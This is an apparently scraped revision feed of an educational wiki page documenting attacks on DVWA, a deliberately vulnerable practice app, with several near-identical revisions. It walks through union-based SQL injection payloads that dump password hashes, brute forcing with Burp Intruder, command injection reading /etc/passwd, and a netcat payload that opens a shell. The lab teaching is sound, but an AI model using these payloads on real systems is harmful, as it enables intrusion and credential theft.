&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;: The &amp;quot;substitutions&amp;quot; array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;| &#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;-&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;$&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;(&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;)&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;`&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;||&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
Now we will perform a series of information gathering commands on low security setting as demonstrated below.&lt;br /&gt;
* Show the current directory&#039;s contents&lt;br /&gt;
 ls&lt;br /&gt;
* Show in which directory path we currently find ourselves&lt;br /&gt;
 pwd&lt;br /&gt;
* Who is the current user&lt;br /&gt;
 whoami&lt;br /&gt;
* List the currently running processes&lt;br /&gt;
 ps&lt;br /&gt;
* List information about the users read out from the /etc/passwd file&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
* Discover the hostname and the users that are logged in&lt;br /&gt;
 uname -a &amp;amp; users &amp;amp; id &amp;amp; w&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa6.png|thumb|none|700px|Command execution - Low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To for example create a reverse shell, you can set up a listener on another VM (let&#039;s choose port 4444, the listener command on a Kali Linux VM is &amp;lt;b&amp;gt;nc -lvp 4444&amp;lt;/b&amp;gt;) and enter the following into the DVWA input field:&lt;br /&gt;
 1 | netcat -v -e &#039;/bin/bash&#039; -l -p 4444&lt;br /&gt;
&lt;br /&gt;
== XSS ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9727</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9727"/>
		<updated>2022-01-30T17:36:16Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Command execution */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;lt;b&amp;gt;a’ or ‘1’=‘1&amp;lt;/b&amp;gt; in the ID field, sending an always-true query, we get all users with their first and last names from the database.&lt;br /&gt;
[[File:True1.PNG|thumb|none|250px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter &amp;lt;b&amp;gt;1&#039; order by 9#&amp;lt;/b&amp;gt; to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.&lt;br /&gt;
&lt;br /&gt;
* Next we can try the union-based SQLi. We start with entering &amp;lt;b&amp;gt;1&#039; union select 1,2 #&amp;lt;/b&amp;gt;, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.&lt;br /&gt;
[[File:Union4.PNG|thumb|none|250px]]&lt;br /&gt;
&lt;br /&gt;
* We can try entering the following in the ID field: &amp;lt;b&amp;gt;1&#039; union select database(),user() #&amp;lt;/b&amp;gt;, which returns the database name and current user in the same position.&lt;br /&gt;
[[File:Union5.PNG|thumb|none|300px]]&lt;br /&gt;
&lt;br /&gt;
* Now that we know the database name, we can extract the tables in this database by &amp;lt;b&amp;gt;1&#039; union select table_name,2 from information_schema.tables where table_schema=&#039;dvwa&#039; #&amp;lt;/b&amp;gt;. This returns the following:&lt;br /&gt;
[[File:Union6.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.&lt;br /&gt;
&lt;br /&gt;
* Now we can discover what columns exist in the table &amp;quot;users&amp;quot;. We enter the query &amp;lt;b&amp;gt;1&#039; union select column_name,2 from information_schema.columns where table_name=&#039;users&#039; #&amp;lt;/b&amp;gt;, which results into the following:&lt;br /&gt;
[[File:Union7.PNG|thumb|none|700px]]&lt;br /&gt;
&lt;br /&gt;
* Knowing the names of the columns now allows us to extract the specific values from them. Let&#039;s look at all usernames and passwords from the table &amp;quot;users&amp;quot;. We do this with the query &amp;lt;b&amp;gt;1&#039; union select user,password from users #&amp;lt;/b&amp;gt;:&lt;br /&gt;
[[File:Union8.PNG|thumb|none|350px]]&lt;br /&gt;
&lt;br /&gt;
* Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:&lt;br /&gt;
[[File:John pass hash.PNG|thumb|none|600px]]&lt;br /&gt;
&lt;br /&gt;
* Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.&lt;br /&gt;
&lt;br /&gt;
== Brute force ==&lt;br /&gt;
For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite&#039;s browser. First, let&#039;s select low security in the DVWA and head to the &amp;quot;Brute Force&amp;quot; navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:&lt;br /&gt;
 username: username&lt;br /&gt;
 password: password&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa1.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now, click on &amp;quot;Send to Intruder&amp;quot; and change to the &amp;lt;i&amp;gt;Intruder&amp;lt;/i&amp;gt; tab in BurpSuite. Now click on Positions, and for &amp;lt;b&amp;gt;Attack type&amp;lt;/b&amp;gt; choose &amp;quot;Cluster bomb&amp;quot;. Click on &amp;quot;Clear §&amp;quot; on the right and then select the entered username and password values and click &amp;quot;Add §&amp;quot; on the right.&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa2.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Now go to the &amp;lt;i&amp;gt;Payloads&amp;lt;/i&amp;gt; tab to &amp;quot;Payload options&amp;quot; and load the wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_users.txt&amp;lt;/i&amp;gt;. Scroll up to &amp;quot;Payload Sets&amp;quot; and select &amp;lt;b&amp;gt;2&amp;lt;/b&amp;gt;. Now go to &amp;quot;Payload options&amp;quot; again and load a second wordlist &amp;lt;i&amp;gt;/usr/share/wordlists/metasploit/http_default_pass.txt&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Now, go to the &amp;lt;i&amp;gt;Options&amp;lt;/i&amp;gt; tab (still inside the Intruder) and clear the Grep-Match list. Then enter &amp;quot;&amp;lt;b&amp;gt;Username and/or password incorrect.&amp;lt;/b&amp;gt;&amp;quot;, which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and &amp;lt;b&amp;gt;Start attack&amp;lt;/b&amp;gt;. We are looking for entries with the unchecked &amp;quot;username&amp;quot; column. The output should look something like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa3.png|thumb|none|700px]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
In our case this is&lt;br /&gt;
 username: admin&lt;br /&gt;
 password: password&lt;br /&gt;
After entering in to the login form, we are successfully logged in and get the message:&lt;br /&gt;
 Welcome to the password protected area admin&lt;br /&gt;
&lt;br /&gt;
== Command execution ==&lt;br /&gt;
The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let&#039;s demonstrate this with a simple &amp;lt;b&amp;gt;ECHO&amp;lt;/b&amp;gt; command (keep in mind, this is a PHP application).&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa5.png|thumb|none|500px|Medium and low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa4.png|thumb|none|500px|High security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
We can see the difference between the security levels, which is based on the source code of the DVWA: &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Low security level&amp;lt;/b&amp;gt;: no input validation&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 &lt;br /&gt;
 if( isset( $_POST[ &#039;Submit&#039; ]  ) ) {&lt;br /&gt;
        // Get input&lt;br /&gt;
        $target = $_REQUEST[ &#039;ip&#039; ];&lt;br /&gt;
 &lt;br /&gt;
        // Determine OS and execute the ping command.&lt;br /&gt;
        if( stristr( php_uname( &#039;s&#039; ), &#039;Windows NT&#039; ) ) {&lt;br /&gt;
                // Windows&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
        else {&lt;br /&gt;
                // *nix&lt;br /&gt;
                $cmd = shell_exec( &#039;ping  -c 4 &#039; . $target );&lt;br /&gt;
        }&lt;br /&gt;
 &lt;br /&gt;
        // Feedback for the end user&lt;br /&gt;
        $html .= &amp;quot;&amp;amp;lt;pre&amp;amp;gt;{$cmd}&amp;amp;lt;/pre&amp;amp;gt;&amp;quot;;&lt;br /&gt;
 }&lt;br /&gt;
 ?&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Medium security level&amp;lt;/b&amp;gt;: Here, the rest of the code looks like low level security, but has an added part for substituting &#039;&amp;amp;&amp;amp;&#039; and &#039;;&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&amp;amp;&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
 &lt;br /&gt;
 // Remove any of the charactars in the array (blacklist).&lt;br /&gt;
 $target = str_replace( array_keys( $substitutions ), $substitutions, $target );&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;High security level&amp;lt;/b&amp;gt;: The &amp;quot;substitutions&amp;quot; array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.&amp;lt;br&amp;gt;&lt;br /&gt;
 // Set blacklist&lt;br /&gt;
 $substitutions = array(&lt;br /&gt;
        &#039;&amp;amp;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;;&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;| &#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;-&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;$&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;(&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;)&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;`&#039;  =&amp;gt; &#039;&#039;,&lt;br /&gt;
        &#039;||&#039; =&amp;gt; &#039;&#039;,&lt;br /&gt;
 );&lt;br /&gt;
Now we will perform a series of information gathering commands on low security setting as demonstrated below.&lt;br /&gt;
* Show the current directory&#039;s contents&lt;br /&gt;
 ls&lt;br /&gt;
* Show in which directory path we currently find ourselves&lt;br /&gt;
 pwd&lt;br /&gt;
* Who is the current user&lt;br /&gt;
 whoami&lt;br /&gt;
* List the currently running processes&lt;br /&gt;
 ps&lt;br /&gt;
* List information about the users read out from the /etc/passwd file&lt;br /&gt;
 cat /etc/passwd&lt;br /&gt;
* Discover the hostname and the users that are logged in&lt;br /&gt;
 uname -a &amp;amp; users &amp;amp; id &amp;amp; w&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:Dvwa6.png|thumb|none|700px|Command execution - Low security level]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
To for example create a reverse shell, you can set up a listener on another VM (let&#039;s choose port 4444, the listener command on a Kali Linux VM is &amp;lt;b&amp;gt;nc -lvp 4444&amp;lt;/b&amp;gt;) and enter the following into the DVWA input field:&lt;br /&gt;
 1 | netcat -v -e ‘/bin/bash’ -l -p 4444&lt;br /&gt;
&lt;br /&gt;
== XSS ==&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9726</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=DVWA&amp;diff=9726"/>
		<updated>2022-01-30T17:34:14Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Command execution */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[https://wiki.elvis.science/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.&lt;br /&gt;
&lt;br /&gt;
== Architecture ==&lt;br /&gt;
&lt;br /&gt;
As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.&lt;br /&gt;
[[File:DVWA architecture.png|thumb|none|500px]]&lt;br /&gt;
&lt;br /&gt;
== Installation (1) ==&lt;br /&gt;
&lt;br /&gt;
The installation of DVWA is very similar to that of [[bWAPP]]. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:&amp;lt;/br&amp;gt;&lt;br /&gt;
*The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA official Website.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.&amp;lt;/br&amp;gt;&lt;br /&gt;
*The password is deleted from the configuration file “config.inc.php.dist”.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA configfile.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
*/localhost/dvwa is called by the browser, which leads you to the login.&lt;br /&gt;
**Username is “admin” &lt;br /&gt;
**Password is “password”&lt;br /&gt;
*Now you are logged in and ready to work with DVWA.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA installed and ready to use.png|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;: Before you start, the database should be set or reset.&lt;br /&gt;
&lt;br /&gt;
== Installation (2) ==&lt;br /&gt;
&lt;br /&gt;
This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://&amp;lt;IP_DVWA_VM&amp;gt;/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren&#039;t exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Let&#039;s look at the SQL injection vulnerability.&lt;br /&gt;
* In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.&amp;lt;/br&amp;gt;&lt;br /&gt;
[[File:DVWA search.PNG|thumb|none|500px]]&amp;lt;/br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When we enter &amp;quot;1&amp;quot; in the search field, the query being sent to the database really looks like this:&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = &#039;$id&#039;;&amp;quot;;&lt;br /&gt;
 $query  = &amp;quot;SELECT first_name, last_name FROM users WHERE user_id = 1;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
* If we enter &amp;quot;1&#039;&amp;quot; in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:&lt;br /&gt;
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039;&#039;1&#039;&#039;&#039; at line 1&lt;br /&gt;
&lt;br /&gt;
* Next we can try executing an always true query. The example SQL code would look like this:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = &#039;a&#039; OR &#039;1&#039;=&#039;1&#039;&lt;br /&gt;
&lt;br /&gt;
